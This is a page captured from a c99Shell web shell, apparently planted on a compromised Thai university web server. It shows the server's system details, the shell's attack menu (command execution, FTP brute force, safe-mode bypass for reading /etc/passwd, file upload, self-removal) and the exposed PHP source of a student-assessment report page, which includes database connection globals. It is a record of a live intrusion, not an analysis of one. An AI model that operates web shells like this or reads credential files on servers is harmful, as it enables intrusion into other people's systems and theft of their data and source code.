!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showRepCloseDate.php (8.52 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../link/function.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsStudentAssess.php";

sendRequest();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oFA = new OfficerAssess($oCA);
$oCourse = new CourseAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oAF = new AssessForm($oCA);
$oStd = new StudentAssess($oCA);
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">ผลการประเมิน</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> <a href="searchRepCloseDate.php">รายงานรายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมิน</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> ผลการค้นหา</font></legend>
        <div align="center"><br><form name="pc" method="post" action="<?php echo $PHP_SELF;?>">
        <table width="650" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_6'];?>"> 
                <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><b>
<?php
                
if($repType == 1)
                    echo 
'รายงานรายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมินจำแนกตามอาจารย์ผู้สอน';
                else if(
$repType == 2)
                    echo 
'รายงานรายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมินจำแนกตามรายวิชา';
                else if(
$repType == 3)
                    echo 
'รายงานรายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมินจำแนกตามแบบประเมิน';
                else if(
$repType == 4)
                    echo 
'รายงานสถานะการประเมินของนักศึกษารายบุคคล';
?>
                ภาคการศึกษาที่
                <?php echo $semester.'/'.$acadYear;?></b></font></td>
            </tr>
<?php
            
if($repType == 1) {
            
?>
            <tr>
                <td><table width="100%">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_2'];?>">
                        <td width="25%" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>รหัสอาจารย์</b></font></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>ชื่อ-นามสกุล</b></font></td>
                    </tr>
<?php
                    $i 
0;
                    
$oFA->SearchRSLikeOfficerCodeNameSurname($officerCode$officerName$officerSurname);
                    while(
$oFA->GetRecord()) {
                        if((
$i%2) == 0)
                            echo 
'<tr>';
                        else
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
                        <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oFA->officerCode;?></font></td>
                        <td><a href="repCloseDateOfficer.php?officerId=<?php echo $oFA->officerId;?>&amp;acadYear=<?php echo $acadYear;?>&amp;semester=<?php echo $semester;?>" onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                        <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oFA->prefixName.$oFA->officerName.' '.$oFA->officerSurname;?></font></a></td>
                    </tr>
<?php
                        $i
++;
                    }
?>                    
                </table></td>
            </tr>
<?php
                    
if($i == 0) {
?>
            <tr>
                <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายชื่ออาจารย์ **</font></td>
            </tr>
<?php
                    
}
            }    
// end if 1
            
            
if($repType == 2) {
?>
            <tr>
                <td><table width="100%">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_2'];?>">
                        <td width="25%" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>รหัสรายวิชา</b></font></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>ชื่อรายวิชา</b></font></td>
                    </tr>
<?php
                    $i 
0;
                    
$oCourse->RSCourseAssessByAcadSemCoCodeCoName($acadYear,$semester,$courseCode$courseName);
                    while(
$oCourse->GetRecord()) {
                        if((
$i%2) == 0)
                            echo 
'<tr>';
                        else
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
                        <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseCode;?></font></td>
                        <td><a href="repCloseDateCourse.php?courseId=<?php echo $oCourse->courseId;?>&amp;acadYear=<?php echo $acadYear;?>&amp;semester=<?php echo $semester;?>" onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                        <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseName;?></font></a></td>
                    </tr>
<?php
                        $i
++;
                    }
?>                    
                </table></td>
            </tr>
<?php
                    
if($i == 0) {
?>
            <tr>
                <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายวิชา **</font></td>
            </tr>
<?php
                    
}
            }    
// end if 2
            
            
if($repType == 3) {
?>
            <tr>
                <td><table width="100%">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_2'];?>">
                        <td width="65%" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>ชื่อแบบประเมิน</b></font></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>ช่วงเวลาในการประเมิน</b></font></td>
                    </tr>
<?php
                    $i 
0;
                    
$oDA->SearchDefineidByAcadSemAssid($acadYear$semester$assid);
                    while(
$oDA->GetRecord()) {
                        
$oAF->SearchByKey($assid);
                        
$oAF->GetRecord();
                        
                        if((
$i%2) == 0)
                            echo 
'<tr>';
                        else
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
                        <td height="22"><a href="repCloseDateAssessForm.php?defineid=<?php echo $oDA->defineid;?>&amp;noAss=<?php echo $oDA->noAss;?>&amp;acadYear=<?php echo $acadYear;?>&amp;semester=<?php echo $semester;?>" onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                        <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oAF->maintopic;?></font></a></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo abbreDate2($oDA->startDate).' (ถึง) '.abbreDate2($oDA->endDate);?></font></td>
                    </tr>
<?php
                        $i
++;
                    }
?>                    
                </table></td>
            </tr>
<?php
                    
if($i == 0) {
?>
            <tr>
                <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏแบบประเมิน **</font></td>
            </tr>
<?php
                    
}
            }    
// end if 3
            
            
if($repType == 4) {
?>
            <tr>
                <td><table width="100%">
                    <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_2'];?>">
                        <td width="25%" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>รหัสนักศึกษา</b></font></td>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>ชื่อ-นามสกุล</b></font></td>
                    </tr>
<?php
                    $i 
0;
                    
$oStd->RSStudentAssessByStCodeAndStNameAndStSurname($studentCode$studentName$studentSurname);
                    while(
$oStd->GetRecord()) {
                        if((
$i%2) == 0)
                            echo 
'<tr>';
                        else
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
                        <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oStd->studentCode;?></font></td>
                        <td><a href="repCloseDateStudent.php?studentId=<?php echo $oStd->studentId;?>&amp;acadYear=<?php echo $acadYear;?>&amp;semester=<?php echo $semester;?>" onClick="return sendRequest(this);" onMouseOver="window.status=''; return true;">
                        <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oStd->prefixName.$oStd->studentName.' '.$oStd->studentSurname;?></font></a></td>
                    </tr>
<?php
                        $i
++;
                    }
?>                    
                </table></td>
            </tr>
<?php
                    
if($i == 0) {
?>
            <tr>
                <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายชื่อนักศึกษา **</font></td>
            </tr>
<?php
                    
}
            }    
// end if 4
?>
            <tr> 
                <td><br><input type="button" name="cancel" value="ย้อนกลับ" onClick="location.href = 'searchRepCloseDate.php'">
                <input type="button" name="back" value="กลับสู่หน้าหลัก" onClick="location.href = 'index.php?mm=1'"></td>
            </tr>
        </table></form></div>
        </fieldset></td>
    </tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0095 ]--